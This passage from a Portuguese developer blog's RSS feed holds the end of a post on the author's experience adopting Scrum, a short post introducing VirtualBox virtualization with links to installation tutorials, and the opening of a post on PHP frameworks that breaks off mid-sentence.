&lt;p&gt;Se você não sabe o que é &lt;em&gt;Scrum&lt;/em&gt;, recomendo:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Primeiramente assitir ao vídeo “&lt;a href=&quot;http://www.youtube.com/watch?v=Q5k7a9YEoUI&amp;#x26;feature=player_embedded&quot; title=&quot;Aprenda Scrum em 10 minutos no Youtube&quot;&gt;&lt;em&gt;Scrum under 10 minutes&lt;/em&gt;&lt;/a&gt;“;&lt;/li&gt;
&lt;li&gt;Após esta divertida introdução, ver &lt;em&gt;Scrum&lt;/em&gt; no mundo real assistindo
ao &lt;a href=&quot;http://remoteprocedurecall.wordpress.com/2009/05/22/scrum-na-globo/&quot; title=&quot;Scrum na Globo.com&quot;&gt;depoimento sobre como ele é usado na &lt;em&gt;Globo.com&lt;/em&gt;&lt;/a&gt;;&lt;/li&gt;
&lt;li&gt;Por fim, recomendo ler o &lt;em&gt;e-book&lt;/em&gt; “&lt;a href=&quot;http://www.infoq.com/minibooks/scrum-xp-from-the-trenches&quot; title=&quot;Faça download do e-book. Necessário cadastro&quot;&gt;&lt;em&gt;Scrum&lt;/em&gt; e &lt;em&gt;XP&lt;/em&gt; direto das
trincheiras&lt;/a&gt;” (sem dúvida a minha refência favorita sobre Scrum).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 416px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/9793cf10ae3d1290cb72eca6ab42e37a/8d0ef/scrum.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 71.875%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAOABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAMEAgX/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAv/aAAwDAQACEAMQAAABTVz3Q2RB/8QAGxAAAgIDAQAAAAAAAAAAAAAAAQIDEgARFCH/2gAIAQEAAQUCCgZEoo8S29EXQ1Wbbf/EABURAQEAAAAAAAAAAAAAAAAAAAAh/9oACAEDAQE/AUf/xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/AT//xAAaEAEAAwADAAAAAAAAAAAAAAABABFRMTJB/9oACAEBAAY/AjRpyXQp7O5DIHFS5//EAB4QAQACAgEFAAAAAAAAAAAAAAEAESFBMWFxgaGx/9oACAEBAAE/IUAHIebQd2K4+yZ6h2UvyLcpdso8TDeii295fDeadT//2gAMAwEAAgADAAAAEDz/AP/EABYRAQEBAAAAAAAAAAAAAAAAAAEQEf/aAAgBAwEBPxAwn//EABURAQEAAAAAAAAAAAAAAAAAAAAh/9oACAECAQE/EIj/xAAbEAEBAAMBAQEAAAAAAAAAAAABEQAhMUFhUf/aAAgBAQABPxA4q6woGK/MSKiCpPKEdv55jGFNgQbviYECeRCO1dZ4EASiIzbidmPow2AaXYfLzP/Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Formação Scrum, no Rugby&amp;quot;&quot;
        title=&quot;Formação Scrum, no Rugby&quot;
        src=&quot;/static/9793cf10ae3d1290cb72eca6ab42e37a/8d0ef/scrum.jpg&quot;
        srcset=&quot;/static/9793cf10ae3d1290cb72eca6ab42e37a/7809d/scrum.jpg 192w,
/static/9793cf10ae3d1290cb72eca6ab42e37a/4ecad/scrum.jpg 384w,
/static/9793cf10ae3d1290cb72eca6ab42e37a/8d0ef/scrum.jpg 416w&quot;
        sizes=&quot;(max-width: 416px) 100vw, 416px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Formação Scrum, no Rugby&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Posso afirmar que o grande lance do
&lt;em&gt;Scrum&lt;/em&gt; é &lt;strong&gt;aproximar as pessoas envolvidas em um projeto&lt;/strong&gt; removendo o
que não importa. É tirá-las de baias, fazê-las pararem de ficar enviando
&lt;em&gt;e-mails&lt;/em&gt; umas para as outras, botar estas pessoas numa sala e fazer com
que se conversem como seres humanos normais.&lt;/p&gt;
&lt;p&gt;Particularmente, detesto o &lt;em&gt;face-to-face&lt;/em&gt;. Mas me aproximar do cliente
foi uma experiência muito agradável que só me trouxe benefícios. Agora
eu sabia exatamente qual era a necessidade dele. O &lt;em&gt;Scrum&lt;/em&gt; me
possibilitou isso removendo pilhas de documentos e processos do caminho,
mostrando que para você entender qual é o problema do cliente é
necessário comunicação.&lt;/p&gt;
&lt;h2&gt;Foco garante agilidade&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 120px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/ddd4a46bcc8ebd5785be5a58421f9726/070ae/scrum-iteration.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,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&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Iterações de projetos Scrum&amp;quot;&quot;
        title=&quot;Iterações de projetos Scrum&quot;
        src=&quot;/static/ddd4a46bcc8ebd5785be5a58421f9726/070ae/scrum-iteration.png&quot;
        srcset=&quot;/static/ddd4a46bcc8ebd5785be5a58421f9726/070ae/scrum-iteration.png 120w&quot;
        sizes=&quot;(max-width: 120px) 100vw, 120px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Iterações de projetos Scrum&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Sabendo exatamente qual era a necessidade do cliente, foi possível determinar
o que era mais importante para o mesmo. O modelo de desenvolvimento iterativo
permite que os desenvolvedores de &lt;em&gt;software&lt;/em&gt; possam entregar &lt;strong&gt;pequenas partes usáveis&lt;/strong&gt;
de seu sistema para o cliente. Através de pequenas tarefas priorizadas pelo próprio,
podemos gerar valor mesmo durante o processo de desenvolvimento (ao
contrário do modelo cascata onde a aplicação só irá gerar valor ao
término do desenvolvimento).&lt;/p&gt;
&lt;p&gt;O modelo de pequenas entregas trouxe algumas vantagens para o meu
ambiente de trabalho:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Escopo bem definido:&lt;/strong&gt; Nos preocupávamos com pequenos grupos de
funcionalidades por vez, garantindo um foco no que realmente
importava ao cliente naquela etapa de desenvolvimento do projeto.
Com as propostas do &lt;em&gt;Scrum&lt;/em&gt; para gerência de estórias, o
conhecimento era sempre explícito (ou seja, todos da equipe sabem
exatamente o que deve ser feito);&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Flexibilidade:&lt;/strong&gt; Em um pequeno projeto, percebi que a maneira
determinada inicialmente para resolver um problema específico era
ineficaz. O modelo iterativo me permitiu mudar o andamento do
desenvolvimento (através da utilização do &lt;em&gt;Backlog&lt;/em&gt; e de &lt;em&gt;Sprint
Plannings&lt;/em&gt;);&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Qualidade acima de tudo:&lt;/strong&gt; Com os &lt;em&gt;feedbacks&lt;/em&gt; rápidos foi possível
captar o sentimento do cliente em relação ao projeto. Com ele
próximo a equipe fica muito mais fácil negociar escopo e garantir
qualidade. Já li em alguns lugares que muitas vezes o fim do prazo
do projeto não fora atingido mas o cliente já estava totalmente
feliz com a solução… na verdade o cliente só vai saber o que quer
quando mostrarmos algo a ele.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Conhecendo o escopo, tendo uma equipe “sincronizada”, tendo o poder de
negociar escopo e coletando &lt;em&gt;feedbacks&lt;/em&gt; rápidos do cliente; além de
&lt;strong&gt;qualidade&lt;/strong&gt; ganhamos o que falta no modelo tradicional de
desenvolvimento de &lt;em&gt;software&lt;/em&gt;: &lt;strong&gt;agilidade&lt;/strong&gt;. Esta me permitiu entregar
o escopo prometido (e negociado durante o desenvolvimento) dentro do
prazo prometido (que influenciou diretamente na negociação do escopo)
sem denegrir qualidade.&lt;/p&gt;
&lt;p&gt;O cliente ganha, o desenvolvedor ganha e as famílias dos desenvolvedores
também ganham =D&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Se você achou o &lt;em&gt;Scrum&lt;/em&gt; burocrático demais para a sua empresa (garanto
que terão pessoas que o acharão), recomendo a leitura do &lt;em&gt;e-Book&lt;/em&gt;
“&lt;a href=&quot;http://gettingreal.37signals.com/GR_por.php&quot; title=&quot;Leia &quot;&gt;&lt;em&gt;Getting Real&lt;/em&gt;&lt;/a&gt;” do pessoal da &lt;a href=&quot;http://37signals.com/&quot; title=&quot;Os produtos da 37Signals são referências para todas as Startups de tecnologia&quot;&gt;&lt;em&gt;37 Signals&lt;/em&gt;&lt;/a&gt;.
Já para aqueles que acharam o &lt;em&gt;Scrum&lt;/em&gt; “anárquico” demais, recomendo conhecer a &lt;a href=&quot;http://pt.wikipedia.org/wiki/Programa%C3%A7%C3%A3o_extrema&quot; title=&quot;Leia mais sobre eXtreme Programming no Wikipedia&quot;&gt;&lt;em&gt;eXtreme
Programming&lt;/em&gt;&lt;/a&gt; (&lt;a href=&quot;http://improveit.com.br/xp&quot; title=&quot;Uma documentação muito rica sobre XP&quot;&gt;este artigo da &lt;em&gt;ImproveIT&lt;/em&gt; está sensacional!&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Não acho o &lt;em&gt;agile&lt;/em&gt; uma solução ”bala de prata”. Acredito que os
processos devam ser moldados de acordo com a realidade de cada
instituição. Mas tenha em mente, este conceito de “fábrica de &lt;em&gt;Software&lt;/em&gt;”
já perdeu muito do seu prestígio, e hoje quase virou sinônimo de
“projetos atrasados”.&lt;/p&gt;
&lt;p&gt;Para mim funcionou muito bem, mesmo depois de fechar a minha empresa
(não foi culpa do &lt;em&gt;Scrum&lt;/em&gt; (: ) e aplicar estes conceitos em meus
projetos &lt;em&gt;freelancer&lt;/em&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Virtualbox: Uma maneira interessante de possuir vários SOs em uma máquina só]]></title><description><![CDATA[Sabe quando você quer testar uma distribuição (ou SO) diferente mas não quer mexer diretamente no
particionamento do seu HD? Ou quando você…]]></description><link>https://klauslaube.com.br/2010/12/01/virtualbox-varios-sos-numa-maquina-so.html</link><guid isPermaLink="false">https://klauslaube.com.br/2010/12/01/virtualbox-varios-sos-numa-maquina-so.html</guid><pubDate>Wed, 01 Dec 2010 20:14:00 GMT</pubDate><content:encoded>&lt;p&gt;Sabe quando você quer testar uma distribuição (ou &lt;em&gt;SO&lt;/em&gt;) diferente mas não quer mexer diretamente no
particionamento do seu &lt;em&gt;HD&lt;/em&gt;? Ou quando você precisar propor uma máquina
individual para serviços &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt;, mas não tem &lt;em&gt;hardware&lt;/em&gt; sobrando para
isto? Ou quando você precisa ficar movendo um ambiente completo entre
máquinas ou locais?&lt;/p&gt;
&lt;p&gt;Virtualização pode ser a resposta para os seus problemas!&lt;/p&gt;
&lt;h2&gt;Virtualização? What the hell?&lt;/h2&gt;
&lt;p&gt;Segundo o nosso bom e velho &lt;a href=&quot;http://pt.wikipedia.org/wiki/Virtualiza%C3%A7%C3%A3o&quot; title=&quot;Leia mais sobre Virtualização na Wikipedia&quot;&gt;&lt;em&gt;Wikipedia&lt;/em&gt;&lt;/a&gt;, virtualização é:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(…) uma forma de esconder as características físicas de uma plataforma
computacional dos utilizadores, mostrando outro hardware virtual,
emulando um ou mais ambientes isolados.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Em outras palavras, é a capacidade de você executar um ou mais sistemas
operacionais através de plataformas que são emuladas através de um
segundo sistema operativo… não ajudei né? Então vamos para a forma
“vulgar”:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;É o conceito ou &lt;em&gt;software&lt;/em&gt; que permite a você executar &lt;em&gt;Ubuntu&lt;/em&gt;, &lt;em&gt;Mac OS
X&lt;/em&gt; e &lt;em&gt;FreeBSD&lt;/em&gt; em seu &lt;em&gt;Windows XP&lt;/em&gt; sem necessitar particionar seu &lt;em&gt;HD&lt;/em&gt;,
e ao mesmo tempo. Neste caso, um &lt;em&gt;hardware&lt;/em&gt; virtual é criado e você
opera (instala, configura, usa) o &lt;em&gt;SO&lt;/em&gt; normalmente, como se estivesse em
uma “máquina física”.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;O &lt;a href=&quot;http://pt.wikipedia.org/wiki/Virtualiza%C3%A7%C3%A3o&quot; title=&quot;Leia mais sobre Virtualização na Wikipedia&quot;&gt;artigo no &lt;em&gt;Wikipedia&lt;/em&gt; sobre virtualização&lt;/a&gt; está bem
bacana, inclusive citando vantagens e inconvenientes.&lt;/p&gt;
&lt;h2&gt;O Virtualbox&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 174px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/7a15cdd98523e9982ff0b9d9356248e5/fe9c7/virtualbox-logo.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 103.44827586206897%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAIAAADJt1n/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAEbklEQVQ4y2WUa0yaVxjH3y1ZtmaXLFmyZc3Mtk/LsqRfukvTZdunZjbNsg9eupm5qm1V1NlNxRteUFC8oIIUvL6CICqCQHnlIqCCok6k5SJVFHWCVsV54aIg973QmWr65JwvJ+d3/k+e8/wfIBwOh0LwikY4En6/T2/eYCk1y5btgN8fPTu7E74QwPkDt+d01riK5yl+64QSKBCiW/QQmpkzWY893vNPvIDh7fX5bYeOab25kiFJo3ATSLwq3nQ8kZ9LkyM6xbmdwtqBCaVhY2vf6Q8ELijvHtiN6zsdkOq7wrZ8hvxqGS2+hVPHV9EmtHSF7ntUT3w9C8WQ3SzrbhNrR3VW24EjmkJEH5DPaOkcqdZkoQjVGUT+r3h2AoHzAaL5Jo5ZzJDFVjJTmh9ldIhbJU+g2SUMhTUxq4OxYDAKq3WmpGI8sWfoqdE0b7I0DU3ea+Ik4lk/1tBLmbJ0IoTnquX6jUGhKhNNTsxvVKmNwUAg+Fx5bdV6Pb/uzXsVGZhWuVS2Yd1UGNbRdGkycaiob3RqySqdWyhs6Pkhq+qt1IobyBa1ZtHpcPqjvwDsbNluVRFfz2t44z7mai6WAvaaF3Sbu3va9a0VyzYe5N7IrIxJLXwlCQkklydUts/PL9ps+263JwIf7dsTsGScbOouXQikVL97F52OI6gmRNPqJ7eyMZ8lF1y6gwR+QX6LBeNIrDsYUKNZ3NrccTpdcM0At8udVt/5M5kBTmtjWwfeRjQAccX11F46kx1z+89Xf8+Dya+qupizC7G4now6hmb+qdWybbe7gsEg4PN4SykDr6VUXi4hJYK8Er7ycgG5oovB5418koz88C8cgj6CfjT5aSEJiMsrIvPm/jZsWmHlY7jgwPGJm8aRXslrAVJrPqoA0wZkP7UJysB+3rDgSiYaJVCk0cXv5DQDSeVfF5NrqGOqqceb1m0YDsGwy3U8pzGy+fLbeAaQ3fxeGRiDYVT2cQRc6NqDhi+wNCCl7lJ6YwKuDwPKW3vEqkmN1bp9fHwCNwpgP3KurlpFEpVUoqxlQu8XtwF/kDAsgUQg+ianAbjf9DGyLY/EqYXTqeoAO4dmZ7Swsvf0NFrtI8faqkUiniI+7BcJxziisc+xNNQAND4iuVZA/LKahqGwqwn9iOyaipIW1qBYPaff2zsIhYIRGE7g2bPdxxojtXuYDLKHOWKJdBySjw/zRDnV7XUUVhG6A1lOeJBVTWikioVK88qGB5aNWguAe+Xw0L62ZhULFVy+jMmRdVL5KoWSKxgtw3Zk5xNKqrvqmsHSgkYOS2wwLDvszsCZtyKW9HhO92z7et0SnyeTK+cH+cr2Xj61H8pCElC1PR1UNrqc0EflwRcO9o98Pm8oGHoBw73iPnHv7v5r0JnEokmuQEHqYqMwFFQVub4JJLZQId7YyvI/DofL77/o5/9HRDjk8/lcrpPIE3qTUqEegcaF0IRyQm02W+x2p9frPfPSS/D5CEXsGgwGnjsvFJ094ZfmVyT+Az43lG42adfsAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Logotipo do Virtualbox&amp;quot;&quot;
        title=&quot;Logotipo do Virtualbox&quot;
        src=&quot;/static/7a15cdd98523e9982ff0b9d9356248e5/fe9c7/virtualbox-logo.png&quot;
        srcset=&quot;/static/7a15cdd98523e9982ff0b9d9356248e5/fe9c7/virtualbox-logo.png 174w&quot;
        sizes=&quot;(max-width: 174px) 100vw, 174px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Logotipo do Virtualbox&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Existem diversas formas e ferramentas para virtualizar ambientes em seu &lt;em&gt;desktop&lt;/em&gt;
ou servidor. A ferramenta que tenho utilizado com muito sucesso
(em meu &lt;em&gt;desktop&lt;/em&gt;, sou programador e não &lt;em&gt;expert&lt;/em&gt; em infra (: ) é o
&lt;strong&gt;&lt;em&gt;Virtualbox&lt;/em&gt;&lt;/strong&gt; (também chamado de &lt;strong&gt;&lt;em&gt;Virtualbox OSE&lt;/em&gt;&lt;/strong&gt;).&lt;/p&gt;
&lt;p&gt;Hoje mantido pela &lt;em&gt;Oracle&lt;/em&gt; (que adquiriu a &lt;em&gt;Sun Microsystems&lt;/em&gt;), o
&lt;em&gt;Virtualbox&lt;/em&gt; é uma solução ágil e objetiva no que diz respeito a
virtualização. Não sei a opinião dos profissionais de infraestrutura
sobre esta ferramenta, mas já passei por duas empresas especializadas em
serviços/produtos focados em servidores, e o &lt;em&gt;Virtualbox&lt;/em&gt; estava lá
atendendo a demanda.&lt;/p&gt;
&lt;p&gt;O que me chamou a atenção foi a facilidade de uso. Como programador,
utilizo-o para criar &lt;em&gt;sandboxes&lt;/em&gt; e máquinas de testes. Na empresa onde
trabalho atualmente, utilizamos o programa para manter nossos
&lt;em&gt;workspaces&lt;/em&gt; isolados (já que a aplicação em que eu trabalho é
empacotada como uma verdadeira distribuição &lt;em&gt;Linux&lt;/em&gt;). Já no meu
computador pessoal, tenho &lt;em&gt;VMs&lt;/em&gt; (&lt;em&gt;Virtual Machines&lt;/em&gt; – Máquinas Virtuais)
para testar distribuições como o &lt;em&gt;Debian&lt;/em&gt;, &lt;em&gt;Slackware&lt;/em&gt; e até mesmo o
&lt;em&gt;Android&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Instalando o Virtualbox&lt;/h2&gt;
&lt;p&gt;Existem milhares de tutoriais que ensinam a instalar o &lt;em&gt;Virtualbox&lt;/em&gt;. Não
vou “reinventar a roda”… vou apenas indicar alguns tutoriais:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.vivaolinux.com.br/artigo/Instalando-o-VirtualBox-no-Ubuntu-10.04/&quot; title=&quot;Artigo de Leandro Bruno para o Viva o Linux sobre Virtualbox no Ubuntu-10.04&quot;&gt;&lt;em&gt;Viva o Linux&lt;/em&gt;: Instalando o &lt;em&gt;Virtualbox&lt;/em&gt; no &lt;em&gt;Ubuntu 10.04&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.vivaolinux.com.br/dica/Instalacao-do-Virtualbox-no-Debian-Etch-4-Linux&quot; title=&quot;Artigo de Ronnie Robson Campos para o Viva o Linux sobre o Virtualbox no Debian Etch&quot;&gt;&lt;em&gt;Viva o Linux&lt;/em&gt;: Instalação do &lt;em&gt;Virtualbox&lt;/em&gt; no &lt;em&gt;Debian (Etch)&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.brunorusso.eti.br/virtualizacao/instalando-o-virtualbox-em-uma-maquina-com-slackware/&quot; title=&quot;Um excelente post de Bruno Russo sobre Virtualbox em Slackware&quot;&gt;&lt;em&gt;Bruno Russo&lt;/em&gt;: Instalando o &lt;em&gt;Virtualbox&lt;/em&gt; em uma máquina com
&lt;em&gt;Slackware&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blogdovicente.com/2009/03/04/como-instalar-e-usar-o-virtualbox/&quot; title=&quot;Post feito pelo Vicente sobre o Virtualbox no Windows&quot;&gt;&lt;em&gt;Blog do Vicente&lt;/em&gt;: Como instalar e usar o &lt;em&gt;Virtualbox&lt;/em&gt;
(&lt;em&gt;Windows&lt;/em&gt;)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Até a próxima…&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Agilidade em PHP: Conhecendo algumas frameworks – Parte 1]]></title><description><![CDATA[Embora eu me considere um admirador do Python e Django, é o
PHP que vem “colocando comida na mesa”. É inegável a importância
desta linguagem…]]></description><link>https://klauslaube.com.br/2010/11/27/agilidade-em-php-conhecendo-algumas-frameworks.html</link><guid isPermaLink="false">https://klauslaube.com.br/2010/11/27/agilidade-em-php-conhecendo-algumas-frameworks.html</guid><pubDate>Sat, 27 Nov 2010 12:21:00 GMT</pubDate><content:encoded>&lt;p&gt;Embora eu me considere um admirador do &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;, é o
&lt;a href=&quot;/tag/php.html&quot; title=&quot;Leia mais sobre PHP&quot;&gt;&lt;em&gt;PHP&lt;/em&gt;&lt;/a&gt; que vem “colocando comida na mesa”. É inegável a importância
desta linguagem para o meio &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt;. Basta reparar que a grande parte
dos cursos focados nesta área têm o &lt;em&gt;PHP&lt;/em&gt; em sua grade.&lt;/p&gt;
&lt;p&gt;Isto pode ser uma “faca de dois gumes”, pois com a oferta de cursos em
&lt;em&gt;PHP&lt;/em&gt; em alta é normal que apareçam novos bons profissionais, e maus
profissionais (como em qualquer outra linguagem). Recentemente notei que
o profissional &lt;em&gt;PHP&lt;/em&gt; tem &lt;strong&gt;fama&lt;/strong&gt; de escrever &lt;strong&gt;“código ruim”&lt;/strong&gt; ou
“código cheirando mal”. Esta linguagem foi a minha porta de entrada para
o desenvolvimento &lt;em&gt;web&lt;/em&gt; (como é de muitos outros), e acredito que não
seja a linguagem que faça do profissional um mau programador…
experiência (e competência) adquirimos com tempo e prática.&lt;/p&gt;
&lt;p&gt;Resumindo, conheço profissionais &lt;em&gt;PHP&lt;/em&gt; que &lt;strong&gt;mandam muito bem&lt;/strong&gt;! Então
se você está começando… &lt;em&gt;PHP&lt;/em&gt; é sim uma ótima escolha (mas não limite-se
a ele).&lt;/p&gt;
&lt;p&gt;E vamos ao post ;)&lt;/p&gt;
&lt;h2&gt;Framework pra quê?&lt;/h2&gt;
&lt;p&gt;Sejamos sinceros. Quem já usou um &lt;em&gt;framework&lt;/em&gt; na vida sabe muito bem
